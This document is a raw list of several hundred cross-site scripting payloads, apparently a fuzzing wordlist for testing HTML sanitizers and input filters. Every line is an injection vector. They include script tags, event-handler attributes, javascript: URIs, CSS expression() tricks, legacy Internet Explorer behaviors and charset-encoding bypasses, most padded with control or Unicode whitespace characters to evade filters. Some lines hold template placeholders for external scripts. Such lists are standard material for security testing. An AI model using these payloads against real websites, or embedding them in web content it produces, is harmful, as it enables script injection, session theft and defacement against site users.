&lt;script\x09type="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x0Ctype="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x2Ftype="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
&lt;script\x0Atype="text/javascript"&gt;javascript:alert(1);&lt;/script&gt;
ABC&lt;div style="x\x3Aexpression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:expression\x5C(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:expression\x00(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:exp\x00ression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:exp\x5Cression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\x0Aexpression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\x09expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE3\x80\x80expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x84expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xC2\xA0expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x80expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\x0Dexpression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\x0Cexpression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x87expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\x20expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x88expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\x00expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x86expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x85expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x82expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\x0Bexpression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x81expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x83expression(javascript:alert(1)"&gt;DEF
ABC&lt;div style="x:\xE2\x80\x89expression(javascript:alert(1)"&gt;DEF
&lt;a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x05javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x18javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x11javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x17javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x03javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x00javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x10javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x20javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x13javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x09javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x14javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x19javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x07javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x04javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x01javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x08javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x12javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x15javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x16javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x02javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x06javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javascript\x00:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javascript\x09:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
&lt;a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1"&gt;test&lt;/a&gt;
`"'&gt;&lt;img src=xxx:x \x0Aonerror=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x \x22onerror=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x \x0Bonerror=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x \x0Donerror=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x \x2Fonerror=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x \x09onerror=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x \x0Conerror=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x \x00onerror=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x \x27onerror=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x \x20onerror=javascript:alert(1)&gt;
"`'&gt;&lt;script&gt;\x3Bjavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\x0Djavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xEF\xBB\xBFjavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x81javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x84javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE3\x80\x80javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\x09javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x89javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x85javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x88javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\x00javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\xA8javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x8Ajavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE1\x9A\x80javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\x0Cjavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\x2Bjavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xF0\x90\x96\x9Ajavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;-javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\x0Ajavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\xAFjavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\x7Ejavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x87javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x81\x9Fjavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\xA9javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xC2\x85javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xEF\xBF\xAEjavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x83javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x8Bjavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xEF\xBF\xBEjavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x80javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\x21javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x82javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE2\x80\x86javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xE1\xA0\x8Ejavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\x0Bjavascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\x20javascript:alert(1)&lt;/script&gt;
"`'&gt;&lt;script&gt;\xC2\xA0javascript:alert(1)&lt;/script&gt;
"/&gt;&lt;img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x /&gt;
"/&gt;&lt;img/onerror=\x22javascript:alert(1)\x22src=xxx:x /&gt;
"/&gt;&lt;img/onerror=\x09javascript:alert(1)\x09src=xxx:x /&gt;
"/&gt;&lt;img/onerror=\x27javascript:alert(1)\x27src=xxx:x /&gt;
"/&gt;&lt;img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x /&gt;
"/&gt;&lt;img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x /&gt;
"/&gt;&lt;img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x /&gt;
"/&gt;&lt;img/onerror=\x60javascript:alert(1)\x60src=xxx:x /&gt;
"/&gt;&lt;img/onerror=\x20javascript:alert(1)\x20src=xxx:x /&gt;
&lt;script\x2F&gt;javascript:alert(1)&lt;/script&gt;
&lt;script\x20&gt;javascript:alert(1)&lt;/script&gt;
&lt;script\x0D&gt;javascript:alert(1)&lt;/script&gt;
&lt;script\x0A&gt;javascript:alert(1)&lt;/script&gt;
&lt;script\x0C&gt;javascript:alert(1)&lt;/script&gt;
&lt;script\x00&gt;javascript:alert(1)&lt;/script&gt;
&lt;script\x09&gt;javascript:alert(1)&lt;/script&gt;
`"'&gt;&lt;img src=xxx:x onerror\x0B=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x onerror\x00=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x onerror\x0C=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x onerror\x0D=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x onerror\x20=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x onerror\x0A=javascript:alert(1)&gt;
`"'&gt;&lt;img src=xxx:x onerror\x09=javascript:alert(1)&gt;
&lt;script&gt;javascript:alert(1)&lt;\x00/script&gt;
&lt;img src=# onerror\x3D"javascript:alert(1)" &gt;
&lt;input onfocus=javascript:alert(1) autofocus&gt;
&lt;input onblur=javascript:alert(1) autofocus&gt;&lt;input autofocus&gt;
&lt;video poster=javascript:javascript:alert(1)//
&lt;body onscroll=javascript:alert(1)&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;...&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;...&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;...&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;...&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;...&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;input autofocus&gt;
&lt;form id=test onforminput=javascript:alert(1)&gt;&lt;input&gt;&lt;/form&gt;&lt;button form=test onformchange=javascript:alert(1)&gt;X
&lt;video&gt;&lt;source onerror="javascript:javascript:alert(1)"&gt;
&lt;video onerror="javascript:javascript:alert(1)"&gt;&lt;source&gt;
&lt;form&gt;&lt;button formaction="javascript:javascript:alert(1)"&gt;X
&lt;body oninput=javascript:alert(1)&gt;&lt;input autofocus&gt;
&lt;math href="javascript:javascript:alert(1)"&gt;CLICKME&lt;/math&gt; &lt;math&gt; &lt;maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)"&gt;CLICKME&lt;/maction&gt; &lt;/math&gt;
&lt;frameset onload=javascript:alert(1)&gt;
&lt;table background="javascript:javascript:alert(1)"&gt;
&lt;!--&lt;img src="--&gt;&lt;img src=x onerror=javascript:alert(1)//"&gt;
&lt;comment&gt;&lt;img src="&lt;/comment&gt;&lt;img src=x onerror=javascript:alert(1))//"&gt;
&lt;![&gt;&lt;img src="]&gt;&lt;img src=x onerror=javascript:alert(1)//"&gt;
&lt;style&gt;&lt;img src="&lt;/style&gt;&lt;img src=x onerror=javascript:alert(1)//"&gt;
&lt;li style=list-style:url() onerror=javascript:alert(1)&gt; &lt;div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)&gt;&lt;/div&gt;
&lt;head&gt;&lt;base href="javascript://"&gt;&lt;/head&gt;&lt;body&gt;&lt;a href="/. /,javascript:alert(1)//#"&gt;XXX&lt;/a&gt;&lt;/body&gt;
&lt;SCRIPT FOR=document EVENT=onreadystatechange&gt;javascript:alert(1)&lt;/SCRIPT&gt;
&lt;OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"&gt;&lt;PARAM NAME="DataURL" VALUE="javascript:alert(1)"&gt;&lt;/OBJECT&gt;
&lt;object data="data:text/html;base64,%(base64)s"&gt;
&lt;embed src="data:text/html;base64,%(base64)s"&gt;
&lt;b &lt;script&gt;alert(1)&lt;/script&gt;0
&lt;div id="div1"&gt;&lt;input value="``onmouseover=javascript:alert(1)"&gt;&lt;/div&gt; &lt;div id="div2"&gt;&lt;/div&gt;&lt;script&gt;document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;&lt;/script&gt;
&lt;x '="foo"&gt;&lt;x foo='&gt;&lt;img src=x onerror=javascript:alert(1)//'&gt;
&lt;embed src="javascript:alert(1)"&gt;
&lt;img src="javascript:alert(1)"&gt;
&lt;image src="javascript:alert(1)"&gt;
&lt;script src="javascript:alert(1)"&gt;
&lt;div style=width:1px;filter:glow onfilterchange=javascript:alert(1)&gt;x
&lt;? foo="&gt;&lt;script&gt;javascript:alert(1)&lt;/script&gt;"&gt;
&lt;! foo="&gt;&lt;script&gt;javascript:alert(1)&lt;/script&gt;"&gt;
&lt;/ foo="&gt;&lt;script&gt;javascript:alert(1)&lt;/script&gt;"&gt;
&lt;? foo="&gt;&lt;x foo='?&gt;&lt;script&gt;javascript:alert(1)&lt;/script&gt;'&gt;"&gt;
&lt;! foo="[[[Inception]]"&gt;&lt;x foo="]foo&gt;&lt;script&gt;javascript:alert(1)&lt;/script&gt;"&gt;
&lt;% foo&gt;&lt;x foo="%&gt;&lt;script&gt;javascript:alert(1)&lt;/script&gt;"&gt;
&lt;div id=d&gt;&lt;x xmlns="&gt;&lt;iframe onload=javascript:alert(1)"&gt;&lt;/div&gt; &lt;script&gt;d.innerHTML=d.innerHTML&lt;/script&gt;
&lt;img \x00src=x onerror="alert(1)"&gt;
&lt;img \x47src=x onerror="javascript:alert(1)"&gt;
&lt;img \x11src=x onerror="javascript:alert(1)"&gt;
&lt;img \x12src=x onerror="javascript:alert(1)"&gt;
&lt;img\x47src=x onerror="javascript:alert(1)"&gt;
&lt;img\x10src=x onerror="javascript:alert(1)"&gt;
&lt;img\x13src=x onerror="javascript:alert(1)"&gt;
&lt;img\x32src=x onerror="javascript:alert(1)"&gt;
&lt;img\x47src=x onerror="javascript:alert(1)"&gt;
&lt;img\x11src=x onerror="javascript:alert(1)"&gt;
&lt;img \x47src=x onerror="javascript:alert(1)"&gt;
&lt;img \x34src=x onerror="javascript:alert(1)"&gt;
&lt;img \x39src=x onerror="javascript:alert(1)"&gt;
&lt;img \x00src=x onerror="javascript:alert(1)"&gt;
&lt;img src\x09=x onerror="javascript:alert(1)"&gt;
&lt;img src\x10=x onerror="javascript:alert(1)"&gt;
&lt;img src\x13=x onerror="javascript:alert(1)"&gt;
&lt;img src\x32=x onerror="javascript:alert(1)"&gt;
&lt;img src\x12=x onerror="javascript:alert(1)"&gt;
&lt;img src\x11=x onerror="javascript:alert(1)"&gt;
&lt;img src\x00=x onerror="javascript:alert(1)"&gt;
&lt;img src\x47=x onerror="javascript:alert(1)"&gt;
&lt;img src=x\x09onerror="javascript:alert(1)"&gt;
&lt;img src=x\x10onerror="javascript:alert(1)"&gt;
&lt;img src=x\x11onerror="javascript:alert(1)"&gt;
&lt;img src=x\x12onerror="javascript:alert(1)"&gt;
&lt;img src=x\x13onerror="javascript:alert(1)"&gt;
&lt;img[a][b]src[d]=x[e]onerror=[f]"alert(1)"&gt;
&lt;img src=x onerror=\x09"javascript:alert(1)"&gt;
&lt;img src=x onerror=\x10"javascript:alert(1)"&gt;
&lt;img src=x onerror=\x11"javascript:alert(1)"&gt;
&lt;img src=x onerror=\x12"javascript:alert(1)"&gt;
&lt;img src=x onerror=\x32"javascript:alert(1)"&gt;
&lt;img src=x onerror=\x00"javascript:alert(1)"&gt;
&lt;a href=java&amp;#1&amp;#2&amp;#3&amp;#4&amp;#5&amp;#6&amp;#7&amp;#8&amp;#11&amp;#12script:javascript:alert(1)&gt;XXX&lt;/a&gt;
&lt;img src="x` `&lt;script&gt;javascript:alert(1)&lt;/script&gt;"` `&gt;
&lt;img src onerror /" '"= alt=javascript:alert(1)//"&gt;
&lt;title onpropertychange=javascript:alert(1)&gt;&lt;/title&gt;&lt;title title=&gt;
&lt;a href=http://foo.bar/#x=`y&gt;&lt;/a&gt;&lt;img alt="`&gt;&lt;img src=x:x onerror=javascript:alert(1)&gt;&lt;/a&gt;"&gt;
&lt;!--[if]&gt;&lt;script&gt;javascript:alert(1)&lt;/script --&gt;
&lt;!--[if&lt;img src=x onerror=javascript:alert(1)//]&gt; --&gt;
&lt;script src="/\%(jscript)s"&gt;&lt;/script&gt;
&lt;script src="\\%(jscript)s"&gt;&lt;/script&gt;
&lt;object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"&gt;&lt;/object&gt; &lt;object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"&gt;&lt;param name=postdomevents /&gt;&lt;/object&gt;
&lt;a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current"&gt;X
&lt;style&gt;p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};&lt;/style&gt;
&lt;link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
&lt;style&gt;@import "data:,*%7bx:expression(javascript:alert(1))%7D";&lt;/style&gt;
&lt;a style="pointer-events:none;position:absolute;"&gt;&lt;a style="position:absolute;" onclick="javascript:alert(1);"&gt;XXX&lt;/a&gt;&lt;/a&gt;&lt;a href="javascript:javascript:alert(1)"&gt;XXX&lt;/a&gt;
&lt;style&gt;*[{}@import'%(css)s?]&lt;/style&gt;X
&lt;div style="font-family:'foo&amp;#10;;color:red;';"&gt;XXX
&lt;div style="font-family:foo}color=red;"&gt;XXX
&lt;// style=x:expression\28javascript:alert(1)\29&gt;
&lt;style&gt;*{x:expression(javascript:alert(1))}&lt;/style&gt;
&lt;div style=content:url(%(svg)s)&gt;&lt;/div&gt;
&lt;div style="list-style:url(https://foo.f)\20url(javascript:javascript:alert(1));"&gt;X
&lt;div id=d&gt;&lt;div style="font-family:'sans\27\3B color\3Ared\3B'"&gt;X&lt;/div&gt;&lt;/div&gt; &lt;script&gt;with(document.getElementById("d"))innerHTML=innerHTML&lt;/script&gt;
&lt;div style="background:url(/f#&amp;#127;oo/;color:red/*/foo.jpg);"&gt;X
&lt;div style="font-family:foo{bar;background:url(https://foo.f/oo};color:red/*/foo.jpg);"&gt;X
&lt;div id="x"&gt;XXX&lt;/div&gt; &lt;style&gt; #x{font-family:foo[bar;color:green;} #y];color:red;{} &lt;/style&gt;
&lt;x style="background:url('x&amp;#1;;color:red;/*')"&gt;XXX&lt;/x&gt;
&lt;script&gt;({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval&lt;/script&gt;
&lt;script&gt;({0:#0=eval/#0#/#0#(javascript:alert(1))})&lt;/script&gt;
&lt;script&gt;ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x&lt;/script&gt;
&lt;script&gt;Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()&lt;/script&gt;
&lt;meta charset="x-imap4-modified-utf7"&gt;&amp;ADz&amp;AGn&amp;AG0&amp;AEf&amp;ACA&amp;AHM&amp;AHI&amp;AGO&amp;AD0&amp;AGn&amp;ACA&amp;AG8Abg&amp;AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&amp;ACAAPABi
&lt;meta charset="x-imap4-modified-utf7"&gt;&amp;&lt;script&amp;S1&amp;TS&amp;1&gt;alert&amp;A7&amp;(1)&amp;R&amp;UA;&amp;&amp;&lt;&amp;A9&amp;11/script&amp;X&amp;&gt;
&lt;meta charset="mac-farsi"&gt;¼script¾javascript:alert(1)¼/script¾
X&lt;x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` &gt;
1&lt;set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&amp;#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&amp;lt;img/src=&amp;quot;x&amp;quot;onerror=javascript:alert(1)&amp;gt;`&gt;
1&lt;animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&amp;lt;img/src=&amp;quot;.&amp;quot;onerror=javascript:alert(1)&amp;gt;&gt;
&lt;vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss&gt;&lt;/vmlframe&gt;
1&lt;a href=#&gt;&lt;line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /&gt;&lt;/a&gt;
&lt;a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)"&gt;XXX&lt;/a&gt;
&lt;x style="behavior:url(%(sct)s)"&gt;
&lt;xml id="xss" src="%(htc)s"&gt;&lt;/xml&gt; &lt;label dataformatas="html" datasrc="#xss" datafld="payload"&gt;&lt;/label&gt;
&lt;event-source src="%(event)s" onload="javascript:alert(1)"&gt;
&lt;a href="javascript:javascript:alert(1)"&gt;&lt;event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A"&gt;
&lt;div id="x"&gt;x&lt;/div&gt; &lt;xml:namespace prefix="t"&gt; &lt;import namespace="t" implementation="#default#time2"&gt; &lt;t:set attributeName="innerHTML" targetElement="x" to="&amp;lt;img&amp;#11;src=x:x&amp;#11;onerror&amp;#11;=javascript:alert(1)&amp;gt;"&gt;
&lt;script&gt;%(payload)s&lt;/script&gt;
&lt;script src=%(jscript)s&gt;&lt;/script&gt;
&lt;script language='javascript' src='%(jscript)s'&gt;&lt;/script&gt;
&lt;script&gt;javascript:alert(1)&lt;/script&gt;
&lt;IMG SRC="javascript:javascript:alert(1);"&gt;
&lt;IMG SRC=javascript:javascript:alert(1)&gt;
&lt;IMG SRC=`javascript:javascript:alert(1)`&gt;
&lt;SCRIPT SRC=%(jscript)s?&lt;B&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC="javascript:javascript:alert(1);"&gt;&lt;/FRAMESET&gt;
&lt;BODY ONLOAD=javascript:alert(1)&gt;
&lt;BODY ONLOAD=javascript:javascript:alert(1)&gt;
&lt;IMG SRC="jav ascript:javascript:alert(1);"&gt;
&lt;BODY onload!#$%%&amp;()*~+-_.,:;?@[/|\]^`=javascript:alert(1)&gt;
&lt;SCRIPT/SRC="%(jscript)s"&gt;&lt;/SCRIPT&gt;
&lt;&lt;SCRIPT&gt;%(payload)s//&lt;&lt;/SCRIPT&gt;
&lt;IMG SRC="javascript:javascript:alert(1)"
&lt;iframe src=%(scriptlet)s &lt;
&lt;INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);"&gt;
&lt;IMG DYNSRC="javascript:javascript:alert(1)"&gt;
&lt;IMG LOWSRC="javascript:javascript:alert(1)"&gt;
&lt;BGSOUND SRC="javascript:javascript:alert(1);"&gt;
&lt;BR SIZE="&amp;{javascript:alert(1)}"&gt;
&lt;LAYER SRC="%(scriptlet)s"&gt;&lt;/LAYER&gt;
&lt;LINK REL="stylesheet" HREF="javascript:javascript:alert(1);"&gt;
&lt;STYLE&gt;@import'%(css)s';&lt;/STYLE&gt;
&lt;META HTTP-EQUIV="Link" Content="&lt;%(css)s&gt;; REL=stylesheet"&gt;
&lt;XSS STYLE="behavior: url(%(htc)s);"&gt;
&lt;STYLE&gt;li {list-style-image: url("javascript:javascript:alert(1)");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);"&gt;
&lt;META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);"&gt;
&lt;IFRAME SRC="javascript:javascript:alert(1);"&gt;&lt;/IFRAME&gt;
&lt;TABLE BACKGROUND="javascript:javascript:alert(1)"&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND="javascript:javascript:alert(1)"&gt;
&lt;DIV STYLE="background-image: url(javascript:javascript:alert(1))"&gt;
